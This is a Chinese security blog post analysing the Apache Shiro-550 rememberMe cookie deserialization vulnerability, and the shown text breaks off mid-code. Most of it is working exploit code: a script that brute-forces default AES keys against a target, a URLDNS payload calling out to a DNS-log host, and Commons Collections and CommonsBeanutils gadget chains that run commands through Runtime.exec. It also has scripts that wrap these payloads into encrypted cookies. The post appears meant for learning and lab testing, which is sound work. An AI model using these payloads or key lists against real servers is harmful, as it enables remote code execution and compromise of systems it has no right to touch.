Java_shiro550分析
jerem1ah Lv4

shiro550分析

https://github.com/Drun1baby/JavaSecurityLearning

https://johnfrod.top/%e5%ae%89%e5%85%a8/shiro%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/

https://www.yuque.com/tianxiadamutou/zcfd4v/op3c7v#823652d0 //1

https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi //2

https://www.yuque.com/tianxiadamutou/zcfd4v/yzw734 //3

https://blog.zsxsoft.com/post/35

https://github.com/j1anFen/shiro_rce_exp //rce exp

https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect //

https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg

https://github.com/phith0n/JavaThings/tree/master/shirodemo //demo

https://tomcat.apache.org/download-80.cgi //tomcat8

https://github.com/KpLi0rn/ShiroVulnEnv //shiro vuln env

Tomcat8 在 IDEA 中配置

这里我们先 clone 一下 P神的项目:https://github.com/phith0n/JavaThings/tree/master/shirodemo

image-20240515151535850

image-20240515151658273

image-20240515152017545

右键 login.jsp,运行之后会有一堆爆红,然后是 404 的界面,这个时候我们点击 IDEA 自带的用浏览器打开前端界面即可,这样就可以访问成功了。

image-20240515152228203

登录的 username 和 password 默认是 root 与 secret。

Shiro-550 分析

勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。

image-20240515153827953

Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

加密过程

首先看org.apache.shiro.mgt.AbstractRememberMeManager类的onSuccessfulLogin函数

image-20240515184411210

判断 token 是否为 true,然后调用 rememberIdentity

image-20240515184549982

在rememberIdentity中,调用了俩个方法,getIdentityToRemember方法和rememberIdentity(subject, principals)方法;

首先看getIdentityToRemember这个方法,

image-20240515184724550

大致就是获取用户名赋值给 principals

回到rememberIdentity跟进this.rememberIdentity(subject, principals)

image-20240515184832067

this.rememberIdentity(subject, principals)函数里面执行了两个函数,convertPrincipalsToBytes函数和rememberSerializedIdentity函数;

首先分析第一个函数调用

image-20240515185010717

先对用户名进行序列化处理,然后调用了个this.getCipherService()方法是否有返回值,跟进查看

image-20240515185112570

返回了一种 AES 的加密方式CBC。

回到convertPrincipalsToBytes方法,接着调用this.encrypt(bytes)对序列化后的用户名进行加密操作,跟进

image-20240515185347384

这里同样是先用getCipherService方法获取一个加密方式,如果不是空则用该加密方式调用encrypt方法进行加密,AES加密是个对称加密需要密钥,所以这里用getEncryptionCipherKey获取一个密钥,跟进看看:

image-20240515185525985

看来是直接返回了这个密钥,由于我们知道这个漏洞就是因为密钥是硬编码写好的造成的,所以我们往回找找这个密钥是哪里赋值的。

找到这个AbstractRememberMeManager类初始化的时候会,调用setCipherKey方法来设置密钥:

image-20240515185611630

image-20240515185624954

image-20240515185644641

回到AbstractRememberMeManager类初始化的this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);这里,这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES实在类定义里面写好的:

image-20240515185738597

现在加密完,到了这里

image-20240515185857768

然后再来到这个函数,设置rememberme

image-20240515185949695

image-20240515190028060

这里逻辑就是对传进来的字节进行base64加密,然后设置为名字为rememberMe的cookie值。

image-20240515190227635

这个是加密过程分析涉及的函数调用。

解密过程

从org.apache.shiro.mgt.DefaultSecurityManager这个类开始分析,getRememberedIdentity函数

image-20240515190728508

跟进到getRememberedPrincipals

image-20240515190853249

继续跟到getRememberedSerializedIdentity

image-20240515191013692

这里的逻辑是先获取cookie中rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。

返回 getRememberedPrincipals方法,下一步跟进 convertBytesToPrincipals方法

image-20240515191125304

可以看到就进行了两个操作 decryptdeserialize。解密就是和加密的逆过程,不多说,进入 deserialize

image-20240515191200562

image-20240515191323068

发现readObject方法出现了

Shiro-550 漏洞探测

指纹识别

在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。

AES密钥判断

前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。

那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

因此我们需要构造payload排除类型转换错误,进而准确判断密钥。

shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

这里给出大佬Veraxy的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes

file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)

Shiro-550 漏洞利用

既然 RCE,或者说弹 shell,是在反序列化的时候触发的。

那我们的攻击就应该是将反序列化的东西,进行 shiro 的一系列加密操作,再把最后的那串东西替换包中的 RememberMe 字段的值。

这个加密操作drun1baby的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))

URLDNS 链

URLDNS 不依赖于 Commons Collections 包,只需要 JDK 的包就行,所以一般用于检测是否存在漏洞。再将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。

URLDNS不难理解,直接贴大佬的脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.*;  
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSEXP {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://2twuuia2kxz9bqztec49jpphj8pzdo.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
//unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

这个是直接yso的,nice0e3的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
popen = subprocess.Popen([r'D:\Program Files\Java\jdk1.8.0_301\bin\java.exe', '-jar', r'F:\CTF资料\CTF工具\ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
# 替换dnslog
payload = rememberme('http://dq6w3y.dnslog.cn')
print("rememberMe={}".format(payload.decode()))

CC6+TemplatesImpl链

我们想要的是执行恶意代码,所以先引入Commons Collections 3.2.1 包来进行利用构造。

首先我们尝试用CC6链来构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class shrio550_exp_cc6_cc2 {
public static void main(String[] args) throws Exception{
System.out.println("Hello world!");

Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);


HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("123","456");

Map<Object,Object> decorate = LazyMap.decorate(hashmap,new ConstantTransformer(2));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"key");

HashMap<Object,Object> expHashMap = new HashMap<>();
expHashMap.put(tiedMapEntry,"value");
decorate.remove("key");


Class clz = LazyMap.class;
Field factoryField = clz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(decorate,chainedTransformer);

serialize(expHashMap);
unserialize("test.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.nio.file.FileSystems;
import java.nio.file.Files;

public class exp {
public static void main(String []args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\06shiro\\shirodemo\\test.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

image-20240516111431758

将生成的payload发过去:

image-20240516111502610

查看服务端报错:

image-20240516111536492

我们找到异常信息的倒数第一行,也就是这个类: org.apache.shiro.io.ClassResolvingObjectInputStream 。可以看到,这是一个 ObjectInputStream的子类,其重写了 resolveClass() 方法:

image-20240516112057686

resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass() 方法:

image-20240516112229722

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName (实际上内部用到了 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),而后者用的是Java原生的 Class.forName

那么,我们在异常捕捉的位置下个断点,看看是哪个类触发了异常:

image-20240516112726447

可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 。这个类名看起来怪,其实就是表示 org.apache.commons.collections.Transformer 的数组。

这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

既然这里我们无法使用Transformer数组了,但是并不是就束手无策了,回顾一下CC链的调用图:

image-20240516113532090

我们不难发现实际上CC4和CC2是没有用到Transformer数组的,但CC4依赖的是Commons Collections4这个包,当前环境无法使用这条链,拿还有啥方法呢?

我们可以尝试去改造CC6这条链的后半部分,在CC6链中,我们用到了一个类, TiedMapEntry ,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个 getValue 方法,调用了map的get方法,并传入key。

1
2
3
public Object getValue() {
return map.get(key);
}

当这个map是LazyMap时,其get方法就是触发transform的关键点:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

我们LazyMap.get(key)直接调用InvokerTransfomer.transform(key),然后像CC2那样调用TempalteImpl.newTransformer()来完成后续调用。

image-20240516113522631

我的最终exp:CC6+TemplatesImpl链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import javassist.*;



public class shiro550_exp_cc6_cc2 {
public static void main(String[] args) throws Exception{
System.out.println("Hello world!");

// Transformer[] transforms = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
TemplatesImpl templates = getTemplatesImple();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});


HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("123","456");

Map<Object,Object> decorate = LazyMap.decorate(hashmap,new ConstantTransformer(2));
// TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"key");
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,templates);


HashMap<Object,Object> expHashMap = new HashMap<>();
expHashMap.put(tiedMapEntry,"value");
// decorate.remove("key");
decorate.remove(templates);


Class clz = LazyMap.class;
Field factoryField = clz.getDeclaredField("factory");
factoryField.setAccessible(true);
// factoryField.set(decorate,chainedTransformer);
factoryField.set(decorate,invokerTransformer);

serialize(expHashMap);
unserialize("test.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}

public static TemplatesImpl getTemplatesImple()throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Hello");
setFieldValue(templates, "_bytecodes", new byte[][]{getEvilBytes()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] getEvilBytes()throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass dynamicClass = classPool.makeClass("EvilAbstractTranslet");

CtClass abstractTranslet = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
dynamicClass.setSuperclass(abstractTranslet);

CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},dynamicClass);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});");
dynamicClass.addConstructor(ctConstructor);

byte[] bytes = dynamicClass.toBytecode();
dynamicClass.detach();
return bytes;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.nio.file.FileSystems;
import java.nio.file.Files;

public class exp {
public static void main(String []args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\06shiro\\shirodemo\\test.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

image-20240516120703926

CC11 链攻击

额,其实就是上面的CC6+TemplatesImpl链

https://www.yuque.com/tianxiadamutou/zcfd4v/th41wx#a27e85e2

Commons-Beanutils1链

上面的CC6+TemplatesImpl链是依赖于Commmons Collections软件包的,如果项目中没有用到的话就无法实现代码执行,那有没有只用Shiro自己的类就能实现代码执行的链呢?答案是有的。这里用到了Apache Commons Beanutils包。

在commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。

1
PropertyUtils.getProperty(new Bean(),"name");

此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。

如何利用这个PropertyUtils.getProperty()方法去构造我们的利用链呢?回顾CC链中没有用到Commons Collections包的部分,再次搬出这张图

image-20240516131459862

红框的部分就是没有用到Commons Collections包的部分,如此一来,CC3中的TemplatesImpl实现类加载任意代码执行是跑不掉的,所以我们要找找那里能调用TemplatesImpl.newTransformer()方法,然后我们找到了TemplatesImpl.getOutputProperties()

image-20240516132659393

它的内部调用了 newTransformer(),而 getOutputProperties 这个名字,是以 get 开头,正符合getter的定义。

所以, PropertyUtils.getProperty( obj, property ) 这段代码,当obj是一个 TemplatesImpl 对象,而 property 的值为 outputProperties 时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties() 方法,触发代码执行。

然后接着找那里能调用PropertyUtils.getProperty(),我们找到的是commons-beanutils包中 org.apache.commons.beanutils.BeanComparatorcompare()方法:

image-20240516133011138

image-20240516133324597

这里熟悉CC链的的师傅就发现了,compare()方法在CC4这条链的前半部分就能调用,我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了。看图!

image-20240516133414770

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class shiro550_cb {
public static void main(String[] args) throws Exception {
System.out.println("Hello world!");

TemplatesImpl templates = getTemplatesImple();

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}

public static TemplatesImpl getTemplatesImple()throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Hello");
setFieldValue(templates, "_bytecodes", new byte[][]{getEvilBytes()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] getEvilBytes()throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass dynamicClass = classPool.makeClass("EvilAbstractTranslet");

CtClass abstractTranslet = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
dynamicClass.setSuperclass(abstractTranslet);

CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},dynamicClass);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});");
dynamicClass.addConstructor(ctConstructor);

byte[] bytes = dynamicClass.toBytecode();
dynamicClass.detach();
return bytes;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.nio.file.FileSystems;
import java.nio.file.Files;

public class exp {
public static void main(String []args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\06shiro\\shirodemo\\ser.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

记录一下python的处理脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
from Crypto.Cipher import AES

with open(r"F:\code\java_file\ser\ser.bin","rb") as f:
byte_POC = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(byte_POC)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print("rememberMe={}".format(base64_ciphertext.decode()))

image-20240516134426026

yso 中的链子打不通是因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3

服务端会显示报错:

org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。

Commons Collections依赖问题

服务端报错:

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

我们先来看看 org.apache.commons.collections.comparators.ComparableComparator 这个类在哪里使用了:

image-20240516140854640

BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator

既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

通过IDEA的功能,我们找到一个 CaseInsensitiveComparator。这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了ComparatorSerializable` ,且位于Java的核心代码中,兼容性强,是一个完美替代品。

我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator :

1
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class shiro550_cb {
public static void main(String[] args) throws Exception {
System.out.println("Hello world!");

TemplatesImpl templates = getTemplatesImple();

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}

public static TemplatesImpl getTemplatesImple()throws Exception{
